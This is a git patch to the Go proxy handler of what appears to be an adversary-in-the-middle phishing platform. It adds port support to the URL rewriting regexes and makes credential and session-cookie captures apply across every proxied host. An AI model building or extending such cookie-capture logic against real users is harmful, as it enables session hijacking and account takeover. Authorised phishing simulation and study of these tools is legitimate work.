From 563d9daf9d3fe48cc07f2a7823980de39e4530f1 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Sat, 4 Jul 2026 12:47:43 +0200 Subject: [PATCH] fix aitm proxy port support and different origins cross capture Signed-off-by: Ronni Skansing --- backend/proxy/proxy.go | 91 +++++++++++++++++++++++++++++------------- 1 file changed, 63 insertions(+), 28 deletions(-) diff --git a/backend/proxy/proxy.go b/backend/proxy/proxy.go index 2336e08..385c3cb 100644 --- a/backend/proxy/proxy.go +++ b/backend/proxy/proxy.go @@ -70,8 +70,8 @@ const ( ) var ( - MATCH_URL_REGEXP = regexp.MustCompile(`\b(http[s]?:\/\/|\\\\|http[s]:\\x2F\\x2F)(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|bot|inc|game|xyz|cloud|live|today|online|shop|tech|art|site|wiki|ink|vip|lol|club|click|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|test|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`) - MATCH_URL_REGEXP_WITHOUT_SCHEME = regexp.MustCompile(`\b(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|bot|inc|game|xyz|cloud|live|today|online|shop|tech|art|site|wiki|ink|vip|lol|club|click|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|test|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`) + MATCH_URL_REGEXP = regexp.MustCompile(`\b(http[s]?:\/\/|\\\\|http[s]:\\x2F\\x2F)(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|bot|inc|game|xyz|cloud|live|today|online|shop|tech|art|site|wiki|ink|vip|lol|club|click|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|test|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)(?::[0-9]{1,5})?|([0-9]{1,3}\.{3}[0-9]{1,3})\b`) + MATCH_URL_REGEXP_WITHOUT_SCHEME = regexp.MustCompile(`\b(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|bot|inc|game|xyz|cloud|live|today|online|shop|tech|art|site|wiki|ink|vip|lol|club|click|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|test|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)(?::[0-9]{1,5})?|([0-9]{1,3}\.{3}[0-9]{1,3})\b`) ) // VariablesContext holds recipient and campaign data for template variable interpolation @@ -1253,11 +1253,21 @@ func (m *ProxyHandler) replaceURLsWithScheme(body []byte, hosts []string, hostMa return sURL } + urlHost := strings.ToLower(u.Host) for _, h := range hosts { - if strings.ToLower(u.Host) == h { + if urlHost == h { return strings.Replace(sURL, u.Host, hostMap[h], 1) } } + // fall back to the hostname without its port so a portless config host + // still matches a url that carries an explicit port + if hostname, _, err := net.SplitHostPort(urlHost); err == nil { + for _, h := range hosts { + if hostname == h { + return strings.Replace(sURL, u.Host, hostMap[h], 1) + } + } + } return sURL })) } @@ -1269,6 +1279,15 @@ func (m *ProxyHandler) replaceURLsWithoutScheme(body []byte, hosts []string, hos return strings.Replace(sURL, h, hostMap[h], 1) } } + // fall back to the hostname without its port so a portless config host + // still matches a host that carries an explicit port + if hostname, port, err := net.SplitHostPort(strings.ToLower(sURL)); err == nil { + for _, h := range hosts { + if hostname == h && !strings.Contains(sURL, hostMap[h]) { + return strings.Replace(sURL, hostname+":"+port, hostMap[h], 1) + } + } + } return sURL })) } @@ -1454,17 +1473,20 @@ func (m *ProxyHandler) findSessionByCampaignRecipient(campaignRecipientID *uuid. } func (m *ProxyHandler) initializeRequiredCaptures(session *service.ProxySession) { - // only apply capture rules for the current host - if hostConfig, ok := session.Config.Load(session.TargetDomain); ok { - hCfg := hostConfig.(service.ProxyServiceDomainConfig) - if hCfg.Capture != nil { - for _, capture := range hCfg.Capture { - if capture.Required == nil || *capture.Required { - session.RequiredCaptures.Store(capture.Name, false) - } + // register required captures across every configured host so multi host + // flows wait for captures on secondary hosts, not only the start host + session.Config.Range(func(_, hostConfigValue interface{}) bool { + hCfg, ok := hostConfigValue.(service.ProxyServiceDomainConfig) + if !ok { + return true + } + for _, capture := range hCfg.Capture { + if capture.Required == nil || *capture.Required { + session.RequiredCaptures.Store(capture.Name, false) } } - } + return true + }) } func (m *ProxyHandler) onRequestBody(req *http.Request, session *service.ProxySession, proxyConfig *service.ProxyServiceConfigYAML) { @@ -2322,22 +2344,15 @@ func (m *ProxyHandler) collectCookieCaptures(session *service.ProxySession) (map requiredCaptureName := requiredCaptureKey.(string) isComplete := requiredCaptureValue.(bool) - // only apply capture rules for the current host - if hostConfig, ok := session.Config.Load(session.TargetDomain); ok { - hCfg := hostConfig.(service.ProxyServiceDomainConfig) - if hCfg.Capture != nil { - for _, capture := range hCfg.Capture { - // check for both engine-based and from-based cookie captures - isCookieCapture := capture.Engine == "cookie" || capture.From == "cookie" - if capture.Name == requiredCaptureName && isCookieCapture { - requiredCookieCaptures[requiredCaptureName] = isComplete - if capturedDataInterface, exists := session.CapturedData.Load(requiredCaptureName); exists { - capturedData := capturedDataInterface.(map[string]string) - cookieCaptures[requiredCaptureName] = capturedData - } - } - } - } + // a required capture may be a cookie capture on any configured host, so + // scan every host config rather than only the start host + if !m.isCookieCaptureName(session, requiredCaptureName) { + return true + } + requiredCookieCaptures[requiredCaptureName] = isComplete + if capturedDataInterface, exists := session.CapturedData.Load(requiredCaptureName); exists { + capturedData := capturedDataInterface.(map[string]string) + cookieCaptures[requiredCaptureName] = capturedData } return true }) @@ -2345,6 +2360,26 @@ func (m *ProxyHandler) collectCookieCaptures(session *service.ProxySession) (map return cookieCaptures, requiredCookieCaptures } +// isCookieCaptureName reports whether the named required capture is a cookie +// capture on any host in the session config. +func (m *ProxyHandler) isCookieCaptureName(session *service.ProxySession, name string) bool { + found := false + session.Config.Range(func(_, hostConfigValue interface{}) bool { + hCfg, ok := hostConfigValue.(service.ProxyServiceDomainConfig) + if !ok { + return true + } + for _, capture := range hCfg.Capture { + if capture.Name == name && (capture.Engine == "cookie" || capture.From == "cookie") { + found = true + return false + } + } + return true + }) + return found +} + func (m *ProxyHandler) areAllCookieCapturesComplete(requiredCookieCaptures map[string]bool) bool { if len(requiredCookieCaptures) == 0 { return false